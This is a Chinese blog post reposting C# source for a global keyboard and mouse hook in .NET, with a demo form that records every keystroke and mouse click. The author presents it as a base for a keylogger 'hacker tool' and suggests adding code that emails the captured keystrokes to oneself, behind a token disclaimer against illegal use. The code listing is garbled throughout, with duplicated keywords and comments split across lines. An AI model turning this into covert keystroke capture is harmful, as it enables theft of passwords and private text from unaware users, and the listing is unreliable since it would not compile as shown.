在Code Project里面找到一篇文章“Global System Hooks in .NET”，它能在.NET里面实现全局钩子，but what I dislike there is an unmanaged DLL in C++ that is a main part of this solution. This unmanaged DLL in C++ and a number of classes make it complicated to integrate it in my own tiny application”
而这还有篇“Processing Global Mouse and Keyboard Hooks in C#”，unmanaged全部是.NET的。用它提供的方法，可以捕捉到全局的键盘和鼠标事件。作者发现两个例外：WH_KEYBOARD_LL和WH_MOUSE_LL是可以在.NET里面用的全局钩子。
于是下下来看了soucecode,运行效果很好，由此想到在此基础上加一修改添加多点功能不就可以用来作黑客工具，键盘记录程序。具体可以添加将记录的信息发送到自己的邮箱的功能等。
为方便大家学习参考我将主要源代码贴出来（wgscd提示你严禁非法用途）：
====================键盘记录（全局HOOK应用）======================
'MainForm.cs
using System;
using System.Windows.Forms;
using System.IO;
Namespace GlobalHookDemonamespace GlobalHookDemo
{
Class MainFormclass MainForm : System.Windows.Forms.Form
{
private System.Windows.Forms.Button buttonStart;
private System.Windows.Forms.Button buttonStop;
private System.Windows.Forms.Label labelMousePosition;
private System.Windows.Forms.NotifyIcon notifyIcon1;
private System.Windows.Forms.ContextMenu contextMenu1;
private System.Windows.Forms.MenuItem menuItem1;
private System.ComponentModel.IContainer components;
private System.Windows.Forms.ToolTip toolTip1;
private System.Windows.Forms.TextBox textBox;
public MainForm()
{
InitializeComponent();
}
// THIS METHOD IS MAINTAINED BY THE FORM DESIGNER
// DO NOT EDIT IT MANUALLY! YOUR CHANGES ARE LIKELY TO BE LOST
void InitializeComponent() {
this.components = new System.ComponentModel.Container();
this.textBox = new System.Windows.Forms.TextBox();
this.labelMousePosition = new System.Windows.Forms.Label();
this.buttonStop = new System.Windows.Forms.Button();
this.buttonStart = new System.Windows.Forms.Button();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon
(this.components);
this.contextMenu1 = new System.Windows.Forms.ContextMenu();
this.menuItem1 = new System.Windows.Forms.MenuItem();
this.toolTip1 = new System.Windows.Forms.ToolTip
(this.components);
this.SuspendLayout();
//
// textBox
//
this.textBox.Font = new System.Drawing.Font("Courier New", 11F,
System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.World);
this.textBox.Location = new System.Drawing.Point(8, 120);
this.textBox.Multiline = true;
this.textBox.Name = "textBox";
this.textBox.ScrollBars =
System.Windows.Forms.ScrollBars.Vertical;
this.textBox.Size = new System.Drawing.Size(336, 259);
this.textBox.TabIndex = 3;
this.textBox.Text = "";
//
// labelMousePosition
//
this.labelMousePosition.Location = new System.Drawing.Point(8,
72);
this.labelMousePosition.Name = "labelMousePosition";
this.labelMousePosition.Size = new System.Drawing.Size(221,
24);
this.labelMousePosition.TabIndex = 2;
this.labelMousePosition.Text = "labelMousePosition";
//
// buttonStop
//
this.buttonStop.Location = new System.Drawing.Point(136, 24);
this.buttonStop.Name = "buttonStop";
this.buttonStop.Size = new System.Drawing.Size(90, 25);
this.buttonStop.TabIndex = 1;
this.buttonStop.Text = "Stop";
this.buttonStop.Click += new System.EventHandler
(this.ButtonStopClick);
//
// buttonStart
//
this.buttonStart.Location = new System.Drawing.Point(8, 24);
this.buttonStart.Name = "buttonStart";
this.buttonStart.Size = new System.Drawing.Size(90, 25);
this.buttonStart.TabIndex = 0;
this.buttonStart.Text = "Start";
this.buttonStart.Click += new System.EventHandler
(this.ButtonStartClick);
//
// notifyIcon1
//
this.notifyIcon1.ContextMenu = this.contextMenu1;
this.notifyIcon1.Text = "鼠标与键盘监视中";
this.notifyIcon1.Visible = true;
//
// contextMenu1
//
this.contextMenu1.MenuItems.AddRange(new
System.Windows.Forms.MenuItem[] {
this.menuItem1});
//
// menuItem1
//
this.menuItem1.Index = 0;
this.menuItem1.Text = "Show";
//
// MainForm
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(392, 390);
this.ContextMenu = this.contextMenu1;
this.Controls.Add(this.textBox);
this.Controls.Add(this.labelMousePosition);
this.Controls.Add(this.buttonStop);
this.Controls.Add(this.buttonStart);
this.Name = "MainForm";
this.Text = "键盘监视 by 自由奔腾（wgscd）";
this.Load += new System.EventHandler(this.MainFormLoad);
this.ResumeLayout(false);
}
[STAThread]
public static void Main(string[] args)
{
Application.Run(new MainForm());
}
void ButtonStartClick(object sender, System.EventArgs e)
{
actHook.Start();
}
void ButtonStopClick(object sender, System.EventArgs e)
{
actHook.Stop();
MessageBox.Show("save resultl?");
OpenFileDialog ofd= new OpenFileDialog();
if (ofd.ShowDialog()==DialogResult.OK)
{
//Add you code to Save the record results !
}
}
UserActivityHook actHook;
void MainFormLoad(object sender, System.EventArgs e)
{
notifyIcon1.Icon=this.Icon;
actHook= new UserActivityHook(); // crate an instance
// hang on events
actHook.OnMouseActivity+=new MouseEventHandler(MouseMoved);
actHook.KeyDown+=new KeyEventHandler(MyKeyDown);
actHook.KeyPress+=new KeyPressEventHandler(MyKeyPress);
actHook.KeyUp+=new KeyEventHandler(MyKeyUp);
}
public void MouseMoved(object sender, MouseEventArgs e)
{
labelMousePosition.Text=String.Format("x={0} y={1}", e.X,
e.Y);
if (e.Clicks>0) LogWrite("MouseButton - " +
e.Button.ToString());
}
public void MyKeyDown(object sender, KeyEventArgs e)
{
LogWrite("KeyDown - " + e.KeyData.ToString());
}
public void MyKeyPress(object sender, KeyPressEventArgs e)
{
LogWrite("KeyPress - " + e.KeyChar);
}
public void MyKeyUp(object sender, KeyEventArgs e)
{
LogWrite("KeyUp - " + e.KeyData.ToString());
}
private void LogWrite(string txt)
{
textBox.AppendText(txt + Environment.NewLine);
textBox.SelectionStart = textBox.Text.Length;
}
--------------------UserActivityHook.cs-----------------------------------
---------------
'UserActivityHook.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;
Namespace GlobalHookDemonamespace GlobalHookDemo {
/// <summary>
/// This Class allowsclass allows you to tap keyboard and mouse and /
or to detect their activity even when
an
/// application runes in background or does not have any user Interface
atinterface at all. This Class raisesclass
raises
/// common .NET events with KeyEventArgs and MouseEventArgs so you can
easily retrive any
information you need.
/// </summary>
/// <remarks>
/// created by - Georgi
/// created on - 22.05.2004 13:08:01
/// </remarks>
public Class UserActivityHookclass UserActivityHook : object {
/// <summary>
/// Default constructor - starts hooks automatically
/// </summary>
public UserActivityHook() {
Start();
}
~UserActivityHook() {
Stop();
}
public event MouseEventHandler OnMouseActivity;
public event KeyEventHandler KeyDown;
public event KeyPressEventHandler KeyPress;
public event KeyEventHandler KeyUp;
public delegate int HookProc(int nCode, Int32 wParam, IntPtr
lParam);
static int hMouseHook = 0; //Declare mouse hook handle as int.
static int hKeyboardHook = 0; //Declare keyboard hook handle as
int.
//values from Winuser.h in Microsoft SDK.
public const int WH_MOUSE_LL = 14; //mouse hook constant
public const int WH_KEYBOARD_LL = 13; //keyboard hook constant
HookProc MouseHookProcedure; //Declare MouseHookProcedure as
HookProc type.
HookProc KeyboardHookProcedure; //Declare KeyboardHookProcedure as
HookProc type.
//Declare wrapper managed POINT Class .class.
[StructLayout(LayoutKind.Sequential)]
public Class POINTclass POINT
{
public int x;
public int y;
}
//Declare wrapper managed MouseHookStruct Class .class.
[StructLayout(LayoutKind.Sequential)]
public Class MouseHookStructclass MouseHookStruct
{
public POINT pt;
public int hwnd;
public int wHitTestCode;
public int dwExtraInfo;
}
//Declare wrapper managed KeyboardHookStruct Class .class.
[StructLayout(LayoutKind.Sequential)]
public Class KeyboardHookStructclass KeyboardHookStruct
{
public int vkCode; //Specifies a virtual-key code. The code
must be a
value in the range 1 to 254.
public int scanCode; // Specifies a hardware scan code for the
key.
public int flags; // Specifies the extended-key flag, event-
injected flag,
context code, and transition-state flag.
public int time; // Specifies the time stamp for this message.
public int dwExtraInfo; // Specifies extra information
associated with the
message.
}
//Import for SetWindowsHookEx Function .()function.
//Use this Function to()function to install a hook.
[DllImport("user32.dll",CharSet=CharSet.Auto,
CallingConvention=CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc
lpfn,
IntPtr hInstance, int threadId);
//Import for UnhookWindowsHookEx.
//Call this Function to()function to uninstall the hook.
[DllImport("user32.dll",CharSet=CharSet.Auto,
CallingConvention=CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//Import for CallNextHookEx.
//Use this Function to()function to pass the hook information to
next hook procedure in chain.
[DllImport("user32.dll",CharSet=CharSet.Auto,
CallingConvention=CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode,
Int32 wParam, IntPtr lParam);
public void Start()
{
// install Mouse hook
if(hMouseHook == 0)
{
// Create an instance of HookProc.
MouseHookProcedure = new HookProc(MouseHookProc);
hMouseHook = SetWindowsHookEx( WH_MOUSE_LL,
MouseHookProcedure,
Marshal.GetHINSTANCE(
Assembly.GetExecutingAssembly().GetModules()[0]),
0);
//If SetWindowsHookEx fails.
if(hMouseHook == 0 ) {
Stop();
throw new Exception("SetWindowsHookEx failed.");
}
}
// install Keyboard hook
if(hKeyboardHook == 0)
{
KeyboardHookProcedure = new HookProc(KeyboardHookProc);
hKeyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL,
KeyboardHookProcedure,
Marshal.GetHINSTANCE(
Assembly.GetExecutingAssembly().GetModules()[0]),
0);
//If SetWindowsHookEx fails.
if(hKeyboardHook == 0 ) {
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
}
}
public void Stop()
{
bool retMouse =true;
bool retKeyboard = true;
if(hMouseHook != 0)
{
retMouse = UnhookWindowsHookEx(hMouseHook);
hMouseHook = 0;
}
if(hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//If UnhookWindowsHookEx fails.
if (!(retMouse && retKeyboard)) throw new Exception
("UnhookWindowsHookEx
failed.");
}
private const int WM_MOUSEMOVE = 0x200;
private const int WM_LBUTTONDOWN = 0x201;
private const int WM_RBUTTONDOWN = 0x204;
private const int WM_MBUTTONDOWN = 0x207;
private const int WM_LBUTTONUP = 0x202;
private const int WM_RBUTTONUP = 0x205;
private const int WM_MBUTTONUP = 0x208;
private const int WM_LBUTTONDBLCLK = 0x203;
private const int WM_RBUTTONDBLCLK = 0x206;
private const int WM_MBUTTONDBLCLK = 0x209;
private int MouseHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
// if ok and someone listens to our events
if ((nCode >= 0) && (OnMouseActivity!=null)) {
MouseButtons button=MouseButtons.None;
switch (wParam)
{
case WM_LBUTTONDOWN:
//case WM_LBUTTONUP:
//case WM_LBUTTONDBLCLK:
button=MouseButtons.Left;
break;
case WM_RBUTTONDOWN:
//case WM_RBUTTONUP:
//case WM_RBUTTONDBLCLK:
button=MouseButtons.Right;
break;
}
int clickCount=0;
if (button!=MouseButtons.None)
if (wParam==WM_LBUTTONDBLCLK ||
wParam==WM_RBUTTONDBLCLK)
clickCount=2;
else clickCount=1;
//Marshall the data from callback.
MouseHookStruct MyMouseHookStruct = (MouseHookStruct)
Marshal.PtrToStructure(lParam, typeof(MouseHookStruct));
MouseEventArgs e=new MouseEventArgs(
button,
clickCount,
MyMouseHookStruct.pt.x,
MyMouseHookStruct.pt.y,
0 );
OnMouseActivity(this, e);
}
return CallNextHookEx(hMouseHook, nCode, wParam, lParam);
}
//The ToAscii Function translates()function translates the
specified virtual-key code and keyboard state to
the corresponding character or characters. The Function translates()
function translates the code using the input language
and physical keyboard layout identified by the keyboard layout handle.
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, //[in] Specifies the
virtual-key code to
be translated.
int uScanCode, // [in] Specifies
the hardware scan
code of the key to be translated. The high-order bit of this value is set
if the key is up (not
pressed).
byte[] lpbKeyState, // [in]
Pointer to a 256-byte
array that contains the current keyboard state. Each element (byte) in the
array contains the state of
one key. If the high-order bit of a byte is set, the key is down (pressed).
The low bit, if set,
indicates that the key is toggled on. In this Function ,()function, only
the toggle bit of the CAPS LOCK key is
relevant. The toggle state of the NUM LOCK and SCROLL LOCK keys is ignored.
byte[] lpwTransKey, // [out]
Pointer to the buffer
that receives the translated character or characters.
int fuState); // [in] Specifies
whether a menu is
active. This parameter must be 1 if a menu is active, or 0 otherwise.
//The GetKeyboardState Function copies()function copies the status
of the 256 virtual keys to the
specified buffer.
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
private const int WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101;
private const int WM_SYSKEYDOWN = 0x104;
private const int WM_SYSKEYUP = 0x105;
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr
lParam)
{
// it was ok and someone listens to events
if ((nCode >= 0) && (KeyDown!=null || KeyUp!=null || KeyPress!
=null))
{
KeyboardHookStruct MyKeyboardHookStruct =
(KeyboardHookStruct)
Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
// raise KeyDown
if ( KeyDown!=null && ( wParam ==WM_KEYDOWN ||
wParam==WM_SYSKEYDOWN ))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e = new KeyEventArgs(keyData);
KeyDown(this, e);
}
// raise KeyPress
if ( KeyPress!=null && wParam ==WM_KEYDOWN )
{
byte[] keyState = new byte[256];
GetKeyboardState(keyState);
byte[] inBuffer= new byte[2];
if (ToAscii(MyKeyboardHookStruct.vkCode,
MyKeyboardHookStruct.scanCode,
keyState,
inBuffer,
MyKeyboardHookStruct.flags)==1)
{
KeyPressEventArgs e = new
KeyPressEventArgs((char)
inBuffer[0]);
KeyPress(this, e);
}
}
// raise KeyUp
if ( KeyUp!=null && ( wParam ==WM_KEYUP ||
wParam==WM_SYSKEYUP ))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e = new KeyEventArgs(keyData);
KeyUp(this, e);
}
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
}
}
}
}
参考：hook api
8306
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
